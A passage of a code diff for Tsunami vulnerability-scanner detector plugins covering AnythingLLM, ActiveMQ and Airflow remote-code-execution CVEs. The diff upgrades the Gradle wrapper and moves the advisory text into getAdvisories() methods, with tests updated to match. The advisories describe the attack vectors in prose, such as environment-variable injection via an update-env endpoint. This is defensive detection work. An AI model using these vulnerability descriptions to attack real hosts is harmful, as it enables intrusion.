.setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/anything_llm_cve_2024_3104/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/anything_llm_cve_2024_3104/gradlew b/community/detectors/anything_llm_cve_2024_3104/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/anything_llm_cve_2024_3104/gradlew +++ b/community/detectors/anything_llm_cve_2024_3104/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/anything_llm_cve_2024_3104/gradlew.bat b/community/detectors/anything_llm_cve_2024_3104/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/anything_llm_cve_2024_3104/gradlew.bat +++ b/community/detectors/anything_llm_cve_2024_3104/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java index c3b36352c..abd239b2b 100644 --- a/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java +++ b/community/detectors/anything_llm_cve_2024_3104/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetector.java @@ -93,6 +93,33 @@ public final class Cve20243104VulnDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null."); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_3104")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-3104")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-3104 anything-llm RCE") + .setDescription( + "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" + + " to improper handling of environment variables. Attackers can exploit" + + " this vulnerability by injecting arbitrary environment variables via the" + + " POST /api/system/update-env endpoint, which allows for the execution of" + + " arbitrary code on the host running anything-llm.Successful exploitation" + + " could lead to code execution on the host, enabling attackers to read" + + " and modify data accessible to the user running the service, potentially" + + " leading to a denial of service.") + .setRecommendation( + "You can upgrade your anything-llm instances to a version whose commit ID is" + + " bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -231,26 +258,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_3104")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-3104 anything-llm RCE") - .setDescription( - "A remote code execution vulnerability exists in mintplex-labs/anything-llm due" - + " to improper handling of environment variables. Attackers can exploit" - + " this vulnerability by injecting arbitrary environment variables via the" - + " POST /api/system/update-env endpoint, which allows for the execution of" - + " arbitrary code on the host running anything-llm.Successful exploitation" - + " could lead to code execution on the host, enabling attackers to read" - + " and modify data accessible to the user running the service, potentially" - + " leading to a denial of service.") - .setRecommendation( - "You can upgrade your anything-llm instances to a version whose commit ID is" - + " bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java b/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java index 1d340a553..243981bae 100644 --- a/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java +++ b/community/detectors/anything_llm_cve_2024_3104/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20243104/Cve20243104VulnDetectorTest.java @@ -34,10 +34,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -99,28 +96,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2024_3104")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2024-3104 anything-llm RCE") - .setRecommendation( - "You can upgrade your anything-llm instances to a version whose commit" - + " ID is bfedfebfab032e6f4d5a369c8a2f947c5d0c5286 or later.") - .setDescription( - "A remote code execution vulnerability exists in" - + " mintplex-labs/anything-llm due to improper handling of" - + " environment variables. Attackers can exploit this vulnerability" - + " by injecting arbitrary environment variables via the POST" - + " /api/system/update-env endpoint, which allows for the execution" - + " of arbitrary code on the host running anything-llm.Successful" - + " exploitation could lead to code execution on the host, enabling" - + " attackers to read and modify data accessible to the user" - + " running the service, potentially leading to a denial of" - + " service.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); assertThat(mockWebServer.getRequestCount()).isEqualTo(4); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_activemq_cve_2023_46604/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradlew b/community/detectors/apache_activemq_cve_2023_46604/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/apache_activemq_cve_2023_46604/gradlew +++ b/community/detectors/apache_activemq_cve_2023_46604/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat b/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat +++ b/community/detectors/apache_activemq_cve_2023_46604/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java index 2511e2a7f..c852e5eb3 100644 --- a/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java +++ b/community/detectors/apache_activemq_cve_2023_46604/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604Detector.java @@ -66,28 +66,18 @@ type = PluginType.VULN_DETECTION, name = "Apache ActiveMQ RCE CVE-2023-46604 Detector", version = "0.1", - description = Cve202346604Detector.VULN_DESCRIPTION_OF_OOB_VERIFY, + description = Cve202346604Detector.DESCRIPTION, author = "hh-hunter", bootstrapModule = Cve202346604DetectorBootstrapModule.class) @ForServiceName({"apachemq"}) public final class Cve202346604Detector implements VulnDetector { @VisibleForTesting - static final String VULN_DESCRIPTION_OF_OOB_VERIFY = + static final String DESCRIPTION = "Apache ActiveMQ is vulnerable to Remote Code Execution (RCE). This vulnerability could allow" + " a remote attacker with network access to a broker to execute arbitrary shell commands" + " by manipulating serialized class types within the OpenWire protocol, causing the" - + " broker to instantiate any class on the classpath. The presence of this vulnerability" - + " was confirmed through an out-of-band callback."; - - @VisibleForTesting - static final String VULN_DESCRIPTION_OF_VERSION = - "Apache ActiveMQ is susceptible to a Remote Code Execution (RCE) vulnerability. This flaw" - + " could enable a remote attacker with network access to a broker to execute arbitrary" - + " shell commands by manipulating serialized class types within the OpenWire protocol," - + " thereby causing the broker to instantiate any class on the classpath. Although the" - + " vulnerability was identified based on the server's version number, it has not been" - + " verified."; + + " broker to instantiate any class on the classpath."; private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); @@ -145,6 +135,26 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_46604")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-46604")) + .setSeverity(useOobVerifyVulnerable ? Severity.CRITICAL : Severity.HIGH) + .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") + .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") + .setDescription(DESCRIPTION) + .addAdditionalDetails(details) + .build(); + } + private boolean isTransportProtocolTcp(NetworkService networkService) { return TransportProtocol.TCP.equals(networkService.getTransportProtocol()); } @@ -255,20 +265,7 @@ private DetectionReport buildDetectionReport( useOobVerifyVulnerable ? DetectionStatus.VULNERABILITY_VERIFIED : DetectionStatus.VULNERABILITY_PRESENT) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_46604")) - .setSeverity(useOobVerifyVulnerable ? Severity.CRITICAL : Severity.HIGH) - .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") - .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") - .setDescription( - useOobVerifyVulnerable - ? VULN_DESCRIPTION_OF_OOB_VERIFY - : VULN_DESCRIPTION_OF_VERSION) - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(getAdvisory(AdditionalDetail.newBuilder().setTextData(details).build())) .build(); } diff --git a/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java b/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java index 99b1ef65e..d2c861add 100644 --- a/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java +++ b/community/detectors/apache_activemq_cve_2023_46604/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202346604/Cve202346604DetectorTest.java @@ -17,8 +17,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forIpAndPort; -import static com.google.tsunami.plugins.detectors.cves.cve202346604.Cve202346604Detector.VULN_DESCRIPTION_OF_OOB_VERIFY; -import static com.google.tsunami.plugins.detectors.cves.cve202346604.Cve202346604Detector.VULN_DESCRIPTION_OF_VERSION; import static java.nio.charset.StandardCharsets.UTF_8; import static org.mockito.ArgumentMatchers.anyInt; import static org.mockito.ArgumentMatchers.anyString; @@ -46,13 +44,10 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; @@ -186,16 +181,8 @@ public void detect_whenVulnerable_returnsVulnerability() throws Exception { Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_46604")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") - .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") - .setDescription(VULN_DESCRIPTION_OF_OOB_VERIFY) - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + detector.getAdvisory( + AdditionalDetail.newBuilder().setTextData(details).build())) .build()); } @@ -275,16 +262,8 @@ public void detect_whenVulnerableWithoutOob_returnsVulnerability() throws Except Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_PRESENT) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_46604")) - .setSeverity(Severity.HIGH) - .setTitle("CVE-2023-46604 Apache ActiveMQ RCE") - .setRecommendation("Upgrade to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3") - .setDescription(VULN_DESCRIPTION_OF_VERSION) - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + detector.getAdvisory( + AdditionalDetail.newBuilder().setTextData(details).build())) .build()); } diff --git a/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_airflow_cve_2020_17526/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_airflow_cve_2020_17526/gradlew b/community/detectors/apache_airflow_cve_2020_17526/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_airflow_cve_2020_17526/gradlew +++ b/community/detectors/apache_airflow_cve_2020_17526/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_airflow_cve_2020_17526/gradlew.bat b/community/detectors/apache_airflow_cve_2020_17526/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/apache_airflow_cve_2020_17526/gradlew.bat +++ b/community/detectors/apache_airflow_cve_2020_17526/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_airflow_cve_2020_17526/src/main/java/com/google/tsunami/plugins/cve202017526/Cve202017526Detector.java b/community/detectors/apache_airflow_cve_2020_17526/src/main/java/com/google/tsunami/plugins/cve202017526/Cve202017526Detector.java index 6fd3dedc7..94f720013 100644 --- a/community/detectors/apache_airflow_cve_2020_17526/src/main/java/com/google/tsunami/plugins/cve202017526/Cve202017526Detector.java +++ b/community/detectors/apache_airflow_cve_2020_17526/src/main/java/com/google/tsunami/plugins/cve202017526/Cve202017526Detector.java @@ -31,13 +31,13 @@ import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; import com.google.tsunami.plugin.annotations.ForWebService; import com.google.tsunami.plugin.annotations.PluginInfo; import com.google.tsunami.plugin.payload.NotImplementedException; import com.google.tsunami.plugin.payload.Payload; import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; import com.google.tsunami.plugins.cve202017526.Annotations.OobSleepDuration; import com.google.tsunami.plugins.cve202017526.flasksessionsigner.FlaskSessionSigner; import com.google.tsunami.proto.DetectionReport; @@ -93,6 +93,31 @@ public final class Cve202017526Detector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2020-17526")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2020-17526")) + .setSeverity(Severity.CRITICAL) + .setTitle( + "CVE-2020-17526 Authentication bypass lead to Arbitrary Code Execution in" + + " Apache Airflow prior to 1.10.14") + .setDescription( + "An attacker can bypass the authentication and then use a default DAG to" + + " execute arbitrary code on the server hosting the apache airflow" + + " application.") + .setRecommendation( + "update to version 1.10.14. Also, you can change the default value for the" + + " '[webserver] secret_key' config to a securely generated random value to" + + " sign the cookies with a non-default secret key.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -245,24 +270,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2020-17526")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2020-17526 Authentication bypass lead to Arbitrary Code Execution in" - + " Apache Airflow prior to 1.10.14") - .setDescription( - "An attacker can bypass the authentication and then use a default DAG to" - + " execute arbitrary code on the server hosting the apache airflow" - + " application.") - .setRecommendation( - "update to version 1.10.14. Also, you can change the default value for the" - + " '[webserver] secret_key' config to a securely generated random value to" - + " sign the cookies with a non-default secret key.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/apache_airflow_cve_2020_17526/src/test/java/com/google/tsunami/plugins/cve202017526/Cve202017526DetectorTest.java b/community/detectors/apache_airflow_cve_2020_17526/src/test/java/com/google/tsunami/plugins/cve202017526/Cve202017526DetectorTest.java index f526424fa..9542cf418 100644 --- a/community/detectors/apache_airflow_cve_2020_17526/src/test/java/com/google/tsunami/plugins/cve202017526/Cve202017526DetectorTest.java +++ b/community/detectors/apache_airflow_cve_2020_17526/src/test/java/com/google/tsunami/plugins/cve202017526/Cve202017526DetectorTest.java @@ -36,10 +36,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import 